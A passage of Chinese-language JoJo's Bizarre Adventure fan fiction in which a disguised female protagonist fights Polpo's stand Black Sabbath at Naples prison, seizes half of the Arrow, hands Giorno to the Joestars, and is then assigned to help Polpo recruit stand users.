他什么都没看到,但是阴暗可怖的气息全然笼罩着他,里苏特明白自己被沥青似的死亡泥淖粘住,再也动弹不得。
原来只是错觉,没有命运的垂青。
看来那个不知名的力量只是要夺去目睹了ta的人的生命罢了。
忍不住自嘲自己轻率的幻想,里苏特将怀中的望远镜向身前丢去,没有命中任何东西的感觉,望远镜掉在了地上。
其中一个镜片掉落出树影的范围,搭在了路上的一个小石子上。
那不勒斯今日的阳光不错,借由这镜片,一道硬币大小的微弱的光圈映照在里苏特的脸上。
脖子上的桎梏依旧存在,但却是有那么一瞬间的放松!
就是现在!
银发男人咬紧了舌尖,空腔内铁锈的气味将他生的欲.望激发到了极致。他趁此机会向后一个翻身,试图甩开那不知名力道的禁锢。
他成功了!
银发男人从死亡的泥淖爬出,成功向后退了两步。可是正当他要接触到身后的阳光时,一股巨力拽着他的脚,将他重新拖回死亡的阴影中。
像是要吸取刚刚的教训,头戴黑色大礼帽的黑影飞速地抽出了里苏特的灵魂,ta不再废话“你刚刚看见重新点燃打火机了吧?”,几乎像是被打断一样,嘴中的箭已经擦到了银发男人的灵魂!
“啪嗒!”
一声打火机重新点燃的声音响起,硬生生叫停了黑色人影的动作。
ta松开手中的灵魂,转过头,深深地凝视着手上拿着燃烧的打火机的穿着警服的人,不得不开始重复着被设定的程序,“你刚刚重新点燃打火机了吧?”
“诶?不行吗?”穿着警服的人一手拎着倒在地上的银发男人的后襟,一手拿着点燃的打火机,表情老实,但是话里颇有几分欠揍的意味,“现在,该轮到我了是吗?”
*
就在这座监狱中,一座酷似酒店套房的牢房里,有人正在接听着特殊的电话。
“boss,是的,招募,我正在招募新人。”一个足足有三个成年男性宽的男人正接着电话。电话在他脸盆大的手上娇小得都像一个挖耳勺。
如果此时11号囚犯还清醒着,他必然能认出来,这人就是他托了关系才见到的那位passione的干部--波尔波。
波尔波表情严肃,将那电话塞到耳朵边,又要避免电话顺着耳道滑下去,不可谓不艰难。
当然,除了自身体型的因素,电话那头boss的话更是加剧了他接听电话的困难。在组织里有些人冒头的日子里,boss的来电不一定是好的信号。
“波尔波,箭还在你那里吗?”低沉的男声犹如从地狱传来。
“还在,boss,''箭''已经融合在了[黑色安息日]上,没有人能将''箭''夺走。”波尔波擦了擦额头的汗,认真回答。
“有人在找''箭'',你必须确保''箭''的安全。现在''箭''还在你身边吗?”
波尔波凝神,试图召唤[黑色安息日],但是他能感到自己的替身此时正在不远处执行自己设定下的程序。
看来是那个蠢货重新点燃了打火机。
[黑色安息日]是远距离自动操纵型替身,只要设定程序,就能自动执行命令,并且替身受伤并不会影响本体。
波尔波作为passione招募成员的人,将boss给予的箭放入[黑色安息日]嘴中,按照自己的心意设置考核条件。波尔波给[黑色安息日]设定的程序是,用''箭''刺穿所有看见打火机启动时一刻的人的灵魂。
能成功加入passione,要么就是能保持打火机24h不灭的细致耐心的家伙,要么就是能被''箭''射中激发了替身能力而没有死亡的人。无论哪种,都在性格、能力上值得招募。
波尔波又擦了一下自己额头上直冒的汗水,力图保持声音平稳,“boss,[黑色安息日]现在正在考察新人,需要......?”
电话那头沉默了一下,“你可以待会确定''箭''没丢。不过,最近,我需要招募更多的替身使者,你懂我的意思吗?波尔波。”话里没有半分商量的余地。
联想到最近passione内心思过于活跃的人,波尔波擦了擦汗,下意识连连点头,“请放心,boss!”
等到那头挂断了电话,波尔波又继续尝试召唤了[黑色安息日]。但出乎他意料的是,[黑色安息日]依旧没回来。
看来是遇到不少满足条件的人啊.......
波尔波从酒柜中拿出酒杯,给自己倒了杯美酒压下刚刚的惊吓,扬起了嘴角。
[黑色安息日]这一趟,多创造几个替身使者,说不定能直接完成boss的命令呢。
*
由于是远距离自动操纵型替身,[黑色安息日]并不能与自己的替身使者随时心意相通,自然也不知道波尔波的这番妄言。
如果TA知道,ta或许会选择选择劝本体自己上。
但是程序已经设定下了,[黑色安息日]并不能违背程序的顺序。
[黑色安息日]长久凝视着反复点燃手上打火机的狱警,又看了看狱警的站位。
不知有意无意,这个刚刚用替身打碎了ta的狱警站在了阳光下,身上全然没有其他东西的阴影存在。而脚下的人影,并不符合[黑色安息日]的移动规则。
作为一个在阴影中有着绝对压制力的替身,[黑色安息日]也有着自己的弱点,ta只能在阴影中移动。
将目光凝神在反复点燃的打火机和狱警的脸上,[黑色安息日]最终选择一掀斗篷,重新融入黑色的阴影中。
“不玩了吗?”
看着消失的黑色人型替身,我在心里松了一口气,将手中的打火机熄灭,塞进兜里。
现在,我大概能确定这嘴里含“箭”的家伙是替身了,还是个只能在阴影中行走的替身。
自从刚刚发现这个黑色人型替身转头攻击里苏特我就跟迅速跟了过来。
根据ta的气息,我发现ta只在阴影间移动,再加上被镜片反光照了一下就松手的特质,我已经充分理解了!
这玩意,是见不得光的东西啊!
我曾经好心带着两位见光死的老板接触过阳光的美好,确保老板们与阳光亲密接触才收手。
因此,一碰见这又是见不得光的东西,我内心甚至有种亲切的感觉--这活我熟啊。
当我明白了这玩意的性质,我情不自禁地露出了微笑。
不过在此之前,还得瞅瞅我手上的里苏特。
黑发男人确实有些高,我拎着他后襟,他的腰部以下还与地面充分接触着,随着我的动作就这样与地面摩擦着。要是路人看见准以为我是要杀人抛尸。
我内心反省了一秒中,但是由于这个姿势比较顺手最终还是决定保持原样。
微微松手,里苏特的脑袋自然向后垂落。
我拨开里苏特有些遮住眼睛的银色刘海。在左眼的旁边,那里有一道浅浅的伤口,些许鲜红的血液流出,但看起来并不致命的样子。我伸手摸了过去,感觉也并没有伤到眼球。
原来灵魂的伤还能反馈到□□吗?
我感觉自己get到了什么冷知识。
但是一直拎着里苏特也有些麻烦,我沉默了一会,正思考着如何将他放在一个充满阳光不会有任何建筑或者树木遮蔽的阴影上时,我感觉我的指腹被什么东西划过,有些痒痒的。
我低头看去,撞进那双奇特的眸子里。
咦,体质这么好吗?灵魂刚刚可是被抓出来,现在就醒了吗?
我收回了刚刚确认伤口的手,摸了摸鼻子,松开了抓着对方后襟的手。
银发男人收回了视线,他站了起来,转过身,沉默地看着我。
虽然我是救人了,但是在对方的视角里这不就是昏迷醒来后发现脑袋有伤,一个穿着警服的家伙站在监狱外疑似要对自己杀人埋尸吗?
嘶--
我觉得自己瞬间get到了里苏特的沉默,所以我也沉默了几秒。
但是作为一个在各类奇怪的组织里摸爬滚打的成年人,我还是凭着自己的灵活变通先发制人。
“这里可是监狱,无关人员不得入内也不得窥伺,现在就先不追究你的责任了。”
里苏特依旧面无表情,也不说话,只是低头看着我。
这解释还不满意就有点贪心了吧?还是说刚刚脑子受伤了?
我轻咳一声,正色道,“你头上的伤口自己去擦药,我这里不负责。还有,切忌....”
我加重了语调,与里苏特对视,“现在,先不要走进阴影里。阴影里有鬼魂,进入后果自负。”
就目前见过几次的印象来说,里苏特并不是一个那种说了冬天不能舔铁杆还要尝试的家伙。
因而我放心地离开,以着比正常人稍微好一点的体力爬墙跳入墙内。
而在我跳上墙头的一瞬间,墙角的阴影处头戴大礼帽的黑色人型替身迅速冒出,试图抓过我。
这简直就是开门杀,很没礼貌啊。
我叹了口气,奋力一跳,直接在阴影外站定。
“我刚刚重新点燃打火机了。”面对着一动不动的黑色人型替身,我非常老实地向对方阐述我的过错。
然而,很可惜,我们正阴阳两隔。
黑色人型替身没有动作,只能在黑暗的阴影处凝视着我。虽然没有说话,但是我看见ta那威尼斯狂欢节面具上的眼睛的轮廓变小了。
应该是有点生气啊....
我倒是没有什么负罪感,只是环顾四周,似乎找出ta的替身使者。
然而,很遗憾,除了还昏迷不醒的11号囚犯以及墙外的里苏特,我并没找到可疑的人。而且,在[世界]将替身打碎的时候,附近也没有任何人乃至生物受伤的痕迹。
倒不如说,我之前遇见的替身的射程并没有那么远,除了会喊“欧拉”的白金之星,我还没见过会说话的替身呢?
奇怪的知识又增加了呢!
但是这个替身挺冷静的,被我几番挑衅也没有动怒,我叹了口气,决定等着正午的到来。
等到太阳再升起一些,影子的面积就会越小一些,到时候,这个黑色人性替身的藏身之处也就不多了。
不过麻烦的一点在于我现在伪装的身份如果一直呆着这里,也会显得很可疑啊。
就当我站在大太阳底下思考的时候,我身后传来了痛苦的呢喃。
“唔.......”
我转头看去,是11号囚犯缓缓地从地上睁开了眼,他的脸上还保持着一种惊魂未定的表情。
穿着囚服的男人怔愣着神,四处打量了一圈,摸了摸自己的脖子,又看了看阳光,轻轻舒了一口气。
原来是幻觉。xx的,吓死他了。
“你刚刚说要认罪,还说故意害死了一个小孩。”11号囚犯看着那个狱警翻了翻像是小本子一样的东西,表情冷酷地盯着他。
!
11号囚犯只觉得自己的冷汗直流,自己不会误吸了什么药,怎么把这些说出来
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了。明明一切应该只是幻觉才对,现在又没有什么东西抓着他的脖子。
全然忘记了自己是怎样临死前痛哭流涕求着宽恕的,11号囚犯在僵着的脸上努力挤出笑容,“您一定是听错了。”
那个狱警抬起了头,盯着他,明明只是平平无奇的一张脸,目光也很平静,却让他有些腿软,“你的档案里好像是撞了一个小孩进来的,怎么,按你所说,不是档案里写的车辆故障?”
“哈--瞧您说这话,档案怎么会有假,您刚刚一定是听错了。”
11号囚犯想着,又从怀里掏出了几根烟,想要偷偷塞给这个狱警,“我半年后就要出狱了,都打点好了,您这一句莫名其妙的话就算说出去了也没人听。您要知道,刚刚您只是幻听。”
倒是没有什么来回拉扯,狱警捏着几根烟,嗤笑了一声,“你刚刚还说要自首。”
xx的,贪得无厌。
11号囚犯在这种熟悉的金钱交易中,只感觉刚刚死亡的阴霾已经消散,他从上到下将狱警彻底打量了一遍,叹了口气,“老兄,你刚刚幻听。”
说着,他又从兜里掏出了一张大面额纸币,毫无阻碍地放到了狱警手中。
“你这家伙还真舍得给酬金呢,是个大方的雇主。”
狱警摸了摸钞票,露出了一个温和的笑。“司法不惩罚你,你不担心会有神明惩罚吗?毕竟总有人说,正义只会迟到不会缺席的。”
11号囚犯像是听到什么滑稽的事,噗嗤一下笑出了声,他想,狱警确实挺会讲冷笑话的。
就是实在有些贪了,果然是新手。在这么聊下去,他可能就以为还能从自己身上讹点什么。
摇了摇头,11号囚犯不再理会身后的狱警,转身向阴影处走去。
他可不想再晒太阳了,他要找个凉快的地方,看看自己身上到底有什么伤口。
那个XX狱警不会真给他下药弄他了吧!
在阴影处,这么想着,他厌恶地皱起眉头,回头看去,那个狱警只是看着他,眼神非常平静。
xx!
11号囚犯在心底骂了一声脏话,正要转身,却觉得自己的脖子又被紧紧掐着,熟悉的痛感传来。
原来不是幻觉!
他想要呼救,想要祈祷,想要恕罪,但这回他再也交不了好运了。
那个狱警只是站在阳光下,十分平静。
“下地狱恕罪吧。”
生命的最后一刻,11号囚犯得到了一声平静的问候。
眼看11号囚犯的灵魂在“箭”的刺穿下消散,穿着囚服的躯体轰然向我飞来,我眨了眨眼,表情平静,似乎完全没有反应过来。
黑色人型替身的身影蓦地消散,我能感受ta的气息顺着11号囚服已经失去生命的□□遮挡的阴影,飞速向我袭来。
看吧,烂人有烂报,不尊重生命的家伙死后就这么迅速被当做沙包了。
我觉得有些讽刺,但秉持着微弱的素质,没有笑出声来。
笑出声就会吓跑了这个好不容易愿意接近我的替身,不值得。
黑色人型替身已经彻底脱离了墙角的阴影,完全附身于尸体的阴影中。
快了,快了。
我看着阴影落在了我身上,电光石火之间,黑色人型替身已经从阴影中穿出,口中吐出了“箭”的一部分。
好!
--[THE WORLD!]让时间停止流转!--
看着全然静止的世界,我抬头,却看见了爬上了围墙的里苏特的身影。
银发男人现在是静止的状态,只是一只手向前伸,似乎在施展着什么。
施展着什么?
我抬头,看着头顶的11号囚犯的尸体,他的手上不知何时附上了细小的东西。我凑近一看,是长得像是牙齿一样的金属制品。而这些金属的移动方向,正是里苏特。
如果说没有关系,肯定有些牵强。
不过,难道刚刚被箭刺伤就觉醒了替身并且能应用吗?而且立马就找到了刚刚划伤自己的目标。
我摸了摸下巴,只觉得他的行动力真强。
有这样的行动力,干什么能失败呢?
在心里暗暗佩服了年轻人的行动力几秒,我就继续我的工作了。
黑色人型替身的嘴里,含着“箭”头的前端。鉴于刚刚已经试过了打碎替身拿“箭”失败,我已经明白了“箭”可能与这个替身有着某种程度的联系。
不过没事,分期取“箭”也行。
我不再执着于完整的取走箭,发挥了自己作为筋肉派应有的力气,直接将露出黑色人型替身嘴的部分全部掰断。
“下次一定。”看着还剩一半的箭头,我颇为肉疼地摇了摇头,看向[世界]。
[世界]顺着我的心意,移开了在我头顶上的11号囚犯的躯体。
---[THE WORLD!]时间继续流动吧。
阳光重新照了下来,地上的阴影消失,我看着彻底化为灰烬的替身,确认了地上也没掉下剩余的箭头,只能遗憾离场。
当然,里苏特那一个大高个蹲墙上也太明显了,我顺手拎走了。
意外的,里苏特只是刚开始挣扎了一下,后续就乖乖被我拎走了。
哎,可能是因为感觉我很强吧。
我毫不脸红心跳地将高大的银发男人在远处放下。
鉴于发生的事有点多,我觉得还是当个解说NPC,“你觉醒了替身,这是一种类似超能力的东西,后续你应该会明白替身的使用方式。监狱里的事别说出去,你就当没见过我就行。”
里苏特盯着我良久,久到让我以为还得增补一下解说的时候,他终于开口了,“谢谢你。”
谢谢解说吗,不客气。
鉴于拿箭背后牵扯众多,我决定就当做不认识里苏特,反正我现在变形的人脸和我一点关系也没有,“没什么好谢的,我和你也不认识,我只是要干自己的事情而已。”
不说了,还得去找spw的人呢。
我揣着一兜的东西,快速离开。
里苏特没有跟上来,他看着那人离去的身影,只是回想起刚刚的种种,又摸了摸自己的左眼,抿着嘴,仿佛刚刚那里还残存着她的体温。
在深陷死亡泥淖、灵魂脱离□□的那一瞬间,他回头,看清了狱警的灵魂--是她。
他在接近死亡那个未知国度,发现了自己的曙光。
109.(含加更)仙人跳
总感觉,行程也太紧了吧。
我又变换了模样,直接前往和波鲁纳雷夫约定好的酒店。
公寓楼上的那位金发黑皮帅哥似乎也挺忙的样子,一大早也就出门了。
不管是真的学习意大.利的甜品又或者是调查到了什么威胁passione的东西,其实都无所谓。
只要不是一直盯着我就可以了。
而且,倒不如说我还挺希望他能找到威胁passione的东西。
毕竟我不是真的想干黑手.党的,而且现在都已经发现箭的踪迹了,再带着波鲁纳雷夫和伊奇去把剩下的“箭”取走就行了。
这么想着,我掏出了小本本,十分随意地记下信息--安室透,前往[托拉蒂萨]餐厅学艺。
我把本子放回兜里,叹了口气。
让一个一直报着跑路之心的人单独干情报工作,passione的boss倒是挺自信的。
不过passione毕竟不像dio领导下的松散的组织,作为迅速扩张的黑手.党,它的权责分明,加上对叛徒或者仇敌的血腥手段,所属的手下大抵都会乖乖听话。
但是一般来说,大家都是互相牵扯,没有单干的,而作为一个在特殊时期被boss直聘的我,就显得有些特别了。
“暗地里可能还有小眼睛呢,这样就不能像以前一样了.....”虽然很想像以前一样乱写点情报就塞进去,但是现在明显行不通。
不过当务之急,还是把乔鲁诺送到安全的地方就是了。
这么想着,我敲了敲酒店的门。
是乔鲁诺给我开的门。
一开门,他就抱住了我,脑袋往我身上凑。
我已经懂得了头痒的暗示了,伸手摸了摸乔鲁诺的头发。
“我回来了乔鲁诺。”
真奇怪,虽然只是想让乔鲁诺先去躲避一下危险,我竟然有一种舍不得的感觉。
我早上出门的时候,乔鲁诺就早早醒了,眼睛有点红红的,噙着泪水看着我。
我必须承认,泪水对我有特攻。
于是我又开始给乔鲁诺进行不会抛下他的解释,在乔鲁诺带着哭腔的“不想离开姐姐”的发言中,嘴巴就自然而然许下了“之后也要带着乔鲁诺”的许诺。
然后话题就莫名变成了“我以后不会久居意大.利这样没事吗?”“只要能带着我去哪里都可以”。
有了许诺,乔鲁诺不再啜泣,我也放下了包袱快速出门。
只不过....
总觉得许诺说出的也太顺口了,明明事先只是想着将乔鲁诺带离他的家庭然后安顿好,结果不知道为什么就成为了要和乔鲁诺生活了。
莫名有种被套路的嫌疑,但是看着乔鲁诺充满稚气的脸,我又愧疚自己作为成年人的心脏。
实在想不通,我也就不再想了。
继续揉了揉乔鲁诺的脑袋,我从兜里拿出了证件--那些属于乔鲁诺的证件。
我已经将那些证件整理好了,按着大小排序放在了文件袋里。抱着这个文件袋,乔鲁诺小心地把这些东西放进了我新给他买的包里,反复确信了拉链已经合上了,然后冲我点点头。
“没问题了。”
他的小小的黄色人形替身也绕着整个房间环视了一遍,然后冲我点点头。
.....!
好可靠。
我点了点头,谢过了乔鲁诺,又看向了有荣与焉的波鲁纳雷夫和伊奇。
这俩位,又在我不在的时候教这孩子什么了。
不过波鲁纳雷夫和伊奇确实适合和乔鲁诺相处。仅仅两天,乔鲁诺就变得开朗了不少。
我欣慰地点点头,然后用着房间里的电话拨通了一个号码,确认了spw财团的人已经到了。
“那么,我们应该在哪里接头呢?”
“您不需要离开。”电话对面的专员声音冷静,显得十分专业。
“但是在酒店里不会有些引人注目吗?”倒不是不相信spw财团的专业程度,只是不管怎么说,这家酒店可能有不少客人,要是乌泱泱一帮人可能会引人注目,不太适合转移。
我看了看波鲁纳雷夫,用着口型问这位近几年一直与spw打交道的同伴。波鲁纳雷夫只是也向电话凑近,确定了话筒里的那位是经常和他打交道的专员后摇了摇头,示意自己也不知道怎么回事。
但是对面的专员确实很专业,在几声沉默后,他懂得了我的顾虑,立马补充,“请不用担心,乔斯达地产已经将这座酒店买了下来,我们的团队只会以交接的名义进来,护送乔鲁诺离开。”
买下来?
我回想起这座足足有六层的酒店,只觉得金钱的光辉在我眼前闪耀,让我差点说话都磕巴了。
“啊....原来是这样....”
“购买此处地产是个不错的投资选择,当然,如果选择一层作为spw财团或者乔斯达地产的专属楼层也是可行的。请您放心,待会我们的员工会直接到您所在的房间来的。”
“好的,非常感谢。”
我颇有些头昏脑涨地挂掉了电话,努力克制住想要去spw上班的念头。
不行啊,万一把spw财团也克倒了,一时间我不知道该先为spw哀悼还是向自己怪异的体质认命。
要不我以后就专门给穷凶恶极的家伙打工算了!说不定克走了老板还能拿什么悬赏奖金呢!
我摇了摇头,试图甩掉脑子里奇怪的念头。
“唔?”伊奇从沙发上直起身,看向我。
“我只是被金钱短暂蒙蔽双眼了。”我幽幽叹了口气,听见了外面传来了脚步声。
外面大约有五人,其中一人的脚步声很轻。
“叮^咚^”随着门铃响起,波鲁纳雷夫先冲了上去,看向了猫眼处,然后一动不动。
“是有危险吗?”不会是什么石化的替身攻击吧。
波鲁纳雷夫摇了摇头,表情有些微妙。
“那就开门?”
“你来开吧。”波鲁纳雷夫把我的手放在了门把手上,努这嘴,示意我转开。
怎么搞得像整蛊一样?难道现在spw的人员交接一定要刷脸吗?还是说波鲁纳雷夫和外面那几位专员关系不好?
这两年到底发生了什么....
我不知所以,但还是转开了门。
一个穿着spw制服的男人压低着帽子,微微欠身,“女士,诚挚为您服务。”
别说的好像是我点了什么奇怪的东西啊.....
我看向帽子下露出的奇怪粉色刘海,嘴角抽了抽。
后面的男人摇了摇头,手搭在最前面的人身上,“女士,您的下一句话是--”
“好久不见啊,各位。”
“好久不见啊,各位。”
乔瑟夫先生摘掉了帽子,笑得鱼尾纹都堆起来了。
阿布德尔先生和花京院也摘下了帽子,露出了熟悉的面孔。承太郎依旧带着他那顶帽子,只不过从黑色变成了白色,上面的金属配饰也改变了一些。
而站在花京院肩头的那个蓝发人偶,也用着小手摘下了头顶的小帽子,“好久不见,李小姐。”
“乔纳森先生,您好。”我向这位超级长辈微微躬身。
虽然没有预料到乔纳森先生的到来,但是有他在就有一种很安心的感觉。
不过......
我转头看着身后的乔鲁诺,想起了两人之间复杂的血缘关系。
嗯--
不管怎么说,都先进来吧。
我合上了门,先行向大家介绍了乔鲁诺。
而且之前还没在电话里说,“乔鲁诺也已经觉醒了替身。”我想了想,进行了补充。
“我们和波鲁纳雷夫和伊奇一样,是这位女士的同伴,接下来就会由我们来照顾你一段时间。”
阿布德尔蹲下身子,和乔鲁诺平视,露出了和蔼的微笑。
乔鲁诺从我身后走出,“我是乔鲁诺·乔巴纳,请多多指教。这是我的替身。”
他似乎不是很想给大家添麻烦,一面拿出了自己的包包示意自己证件齐全,一面又召唤出了自己的替身。
随着他的话音落下,小小的黄色人型替身走到了乔鲁诺的身边,站得非常笔挺。
虽然面上很镇定,但是果然还是觉得有些紧张吧。
“很厉害的替身呢。”花京院也蹲了下来,召唤出[法皇之绿]。[法皇之绿]伸出触手,慢慢地柔和地向乔鲁诺靠近。
这样毫无攻击性的温和的触摸让乔鲁诺眨了眨眼。黄色人型替身好奇的伸出手,摸了摸绿色的触手。
这样的接触解除了他与这群初见者的隔阂。
“我的替身也会长得这么大吗?”乔鲁诺的身体放松下来,好奇地盯着众人身后放出的替身。
“当然可以,我和你这么大的时候,[法皇之绿]也这么小。”花京院收回了触手。
波鲁纳雷夫也连声附和,“我小时候的[银色战车]也就这么大。”
乔鲁诺的眼睛亮了亮,他的目光又转移向了那个蓝发的人偶。
从他身上传来的感觉,是一种奇妙的亲近,虽然现在只有玩偶的模样,但确实带给人一种意外的安心感。
有一种初见姐姐的感觉。
触及他的视线,那个蓝发的人偶展颜一笑,“我是乔纳森·乔斯达,很高兴见到你,乔鲁诺。”
乔鲁诺楞了一下,点了点头。
......
看着这像是血脉联系的一幕,我放心地舒了一口气。
而且按阿布德尔先生说的照顾配置,如果是他和乔纳森先生一同带着乔鲁诺,我就不担心乔鲁诺的照顾问题了。
不过,不管怎么说乔瑟夫先生和承太郎还有花京院说要留在意大利也太夸张了吧!
“乔瑟夫先生,您呆在这里真的没问题吗?”
“哎,像我现在这样年纪的人还不能做点自己想要做的事吗?”乔瑟夫·乔斯达煞有介事地叹了口气,又嘟着嘴,双手按在自己的脸上,轻轻晃着脑袋。
别说的你好像要不行了乔瑟夫先生。
我看着眼底划过狡黠之色而且身子灵活的老人,也不由地叹了口气,“乔纳森先生您也这么觉得吗?”
乔纳森先生,快管管你的孙子吧。
蓝发的小玩偶温和地看了一下自己已经头发花白的孙子,点了点头,“乔瑟夫很有主意的。”
这就是隔辈亲的威力吗?好溺爱你的孙子啊,他都已经70了!
“意大.利毕竟也是一块值得乔斯达集团投资的地方呢!”乔瑟夫先生挤了挤眼,“我亲自来调查是很有必要的!”
我叹了口气,决定转问另外两位,“学生要有学生的样子吧?现在应该不是假期吧?”
花京院摸了摸下巴,点了点头,眼里流淌着笑意,“李小姐你说得对,不过我的毕业论文的选题与意大.利有关,不实地考察了话可能不太负责。”
“这里的海洋生物很有观察的价值。”空条承太郎也接下了话头。
居然都能有合理的理由吗?
我不是不理解大家的好意。
不过。
“关于''箭''的回收我其实今早已经有眉目了。”我从兜里掏出了半个箭头。
波鲁纳雷夫先炸开了。
“你也有点太能沉住气了吧,而且居然不叫上我一起我和伊奇--。”
波鲁纳雷夫接过那半截箭头,本来还想说点什么,但是看到了箭头的样子,他陷入了沉默。
“这个断面?”
“我徒手掰的。”
波鲁纳雷夫看了看我,又看了看断面,再看了看自己才被赞扬过的肌肉,选择了暂时不发言。
乔瑟夫先生和阿布德尔先生凑近看,频频点头,也觉得这个是属于“箭”的部分。 “所以''箭''果然在passione内部?”
“更具体来说,好像是在那不勒斯监狱的某个弱点是光的替身的嘴里。”
我简要概述了一下早上的遭遇,在众人谴责前先打断施法,“我确保了自己的足够安全,而且我事先并没有得知箭在监狱,被替身
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攻击纯属意外。”
“虽然李小姐你很强,但是这样也很危险呢……”花京院抿着嘴。
我虚心接受了批评,点了点头。
“不过我不知道替身的本体是谁,也不知道替身的主人会不会察觉到箭的损坏而选择转移位置……”
“在监狱里,能成为替身使者的不是狱警就是囚犯。”空条承太郎摸了摸下巴,又继续补充,“而且按你的说法,媒介是打火机,监狱里应该不能随便出现这个吧?”
这位前蹲过监狱的不良指出了一个思路。
乔瑟夫·乔斯达也点了点头,“如果是囚犯,在监狱中转移,消息也不难获得。狱警了话也能着重留意有吸烟习惯的狱警。”
这确实一条思路。
说完,乔瑟夫先生又眨了眨眼,“可别忘记了我的能力。经验丰富的我可是早就预备着这点了。”
“那就侧写一下那个替身使者的样子吧。”他话音刚落,就拿出了一个相机,一拳砸了下去。
一张照片从相机里吐了出来—那是一个过于豪华的牢房的照片。
“唔,是被关在这里吗?可是囚犯不在吗?”花京院典明看着照片里牢房上挂着的油画和一应俱全的设施,皱了皱眉。
诚如他所说,牢房里最醒目的就是一张看起来很宽大的黄色大床,全然见不到替身使者的踪迹。
“总不会已经跑了吧。”波鲁纳雷夫叫来伊奇,一起对着照片嘀嘀咕咕的。
我们讨论无果,于是将目光聚焦到了空条承太郎—身后的【白金之星】身上!
作为一个精密度都可以去操作手术的替身,这样在图片中找细节的工作对于【白金之星】完全不能算作什么。
我们热切的目光说明了一切,黑发的男人压下帽子,“呀嘞呀嘞”了一声,就聚精会神地和【白金之星】一起研究着照片。
看到一半,空条承太郎嘴角微微上扬。
“那人可没离开,真是个显眼的替身使者啊。”他指向了照片中大床地下的一个肉色的色块,“这就是那替身使者的手指。”
!
我眯起眼睛,盯着那个色块,按这个思路想下去,不由咂舌,“确实是个很显眼的目标。”
在解决了保管“箭”的替身使者的问题后,我又继续看向了乔瑟夫先生。
“乔瑟夫先生,您还带着相机吗?”我放轻了声音。
似乎察觉到我想问什么重要的问题,乔瑟夫先生也正色,“刚好还有一个,你想侧写什么呢?”
我沉下心,说出了内心的想法,“请帮我侧写passione的boss的真实面貌吧!”
就是那个,派出了危险的替身使者,想完全将找寻“箭”的人置于死地的那家伙。
我看了看依旧活蹦乱跳的波鲁纳雷夫和伊奇,不由得在内心再一次庆幸,当初是我前往真是太好了。
被同伴照顾,要是什么都不做,也太没礼貌了。
波鲁纳雷夫也想到了什么,脸上的眉头皱成川字型。
“那应该是个危险邪恶的家伙,按李说的,手底下还有能掌握时间能力的替身使者……”
“oh my god……”乔瑟夫先生轻轻叹了口气,“又是时间系吗……真棘手。”
他拿着最后的一个相机,眼神坚定地一掌劈下!
砰!
又有相片吐出来了。
只不过……
相片轮流在每个人手中传递,我们都陷入了沉默。
“看来还是得去找当初谁挖出了箭穿。”波鲁纳雷夫捏起只有箭的相片,微微耸了耸肩。
*
于此同时的那不勒斯监狱内,波尔波召唤出了【黑色安息日】。
“这么久回来,看来有不少目标啊。”他面露微笑,脸上的肉将眼睛挤成一条缝。
【黑色安息日】并不会主动说话,ta只是顺着主人的心意,张开了嘴,吐出了“箭”供主人检查。
豪华的牢房瞬间像是地震了一样,剧烈摇晃了起来。
“这……!”
听到动静的狱警正要前来,却被冷酷的声音全然制止。
“全部给我滚出去,想要眼睛还在身上的就别过来。”一群狱警面面相觑,只得连声离开。
牢房内的波尔波的手松开,本来挂在墙上,但是被他顺势捏在手中的画框已经扭曲变形,从手中掉下。
此时的波尔波哪顾得及管自己精心收集的名画的下场,他只是看着硬生生被拔去一半的箭头,身体不受控制地颤抖。
巨大的躯体的抖动带动了整个牢房的颤动。
但这片颤抖中,最叫人心惊的——
波尔波看向发出铃声的电话,吞下了一口唾沫,深呼吸了一下。
“boss!我是波尔波。”波尔波努力保持着声音的镇定。
“你确认的结果?”
“箭依旧在【黑色安息日】这里。”
“那就好,干得不错,你现在要做的就是保管好箭和发展替身使者。”boss平静的语调并没有让波尔波安心下来,他有预感boss有新的指示。
果不其然……
“之后我会派一个人过来协助你发展替身使者。监狱里的那些人远远不够,那个人能引进监狱外的人进行尝试。”
波尔波的嘴唇颤抖了一瞬间,又迅速恢复镇定,“那boss那个人是否是替身使者呢?”
“你问这个做什么?”
“我不确定boss您是否要发展那个人成为替身使者,所以……”
电话那头传来一声轻笑,“ta现在还很好用,我只需要让ta继续活着就行。”
那就是不愿意冒着可能变成替身使者又或者会死的风险而被箭扎的意思。
波尔波彻底松了一口气。
第二天,他看着穿着狱警服一脸呆相的普通女人,露出满意的笑容。
一个普通人,绝对发现不了箭的破损。
而站在这个和昨天相片里完全一致的豪华牢房,忍不住放轻了呼吸——我不会遭遇了仙人跳吧……
110.二度担任hr
虽然想说踏破铁鞋无觅处,得来全不费工夫。
但是昨天才通过“念写”发现的替身使者本尊就这么出现在我面前......
比起高兴,我的第一反应是有点慌。
不是吧,passione的boss恐怖如斯,竟然还能反[念写]吗?
这个念头让我有些心惊,我压下这种猜想,木着脸看向passione这位体型过于庞大的干部。
虽然之前把他看成床,我就已经对他的体型有所预料。现在亲眼所见也还是有些震撼。
半躺着就已经占据了这个豪华监狱的近五分之一的空间,这样乍一看,会有种仓鼠被装在小小的笼子里的感觉。他的身高绝对是2.5m以上了,话说,监狱的门就这么大,他究竟怎么进来的....
在我内心疯狂碎碎念的时候,对面终于说话了。
“你应该已经理解需要做的事情了吧?”波尔波背靠在墙上,眯着眼睛看着我。
“是,就按照boss的指示,协助您招募更多的成员。”我微微躬身,重复了他之前和我说的话。
“那你要怎么做?”波尔波从酒柜中拿出一瓶葡萄酒,倒了半杯,带着笑看着我,“要来一点吗?”
像是在释放友好信号啊。
我也回以一个微笑,但是婉言拒绝了。
“我这边得到的命令是在此期间听您的吩咐就是了。”
我这话一说完,就看见波尔波嘴角的弧度增加,颇有些松了口气的意思。
他从背后拿出一只打火机,放在了这件牢房一个与外界相通的小窗口里。
“把这个打火机在合适的考核对象面前点燃就行了。”波尔波将打火机往外推,而后又继续倚靠在墙上,“记住,要确保考核对象看到了打火机点燃的这一个过程。”
我从小窗口拿出了打火机,这打火机和之前的外观有些差别,但听波尔波的语气好像并不影响替身触发的条件。
“那么怎么算考核成功?”虽然我大概已经猜到了条件,但是什么都不问肯定会引起怀疑。
“只要看见打火机点燃的人能成功活下来,那就算通过了passione的考核。”波尔波将杯中的酒液一饮而尽,发出了满足的喟叹。
“那么,还有什么问题吗,不管是关于组织的,还是任务的都可以问?”波尔波眯着眼睛,佯装一副亲切的样子,他斜睨那个黑发女人一眼,试图看出那张木木的脸下的真实想法。
但是回答他的只是一声“没有”,而后就是礼貌告退。
心态很稳,做事效率也挺高的,而且话少。
这样既不会关注“箭”的事,也不会多嘴向boss说些什么。
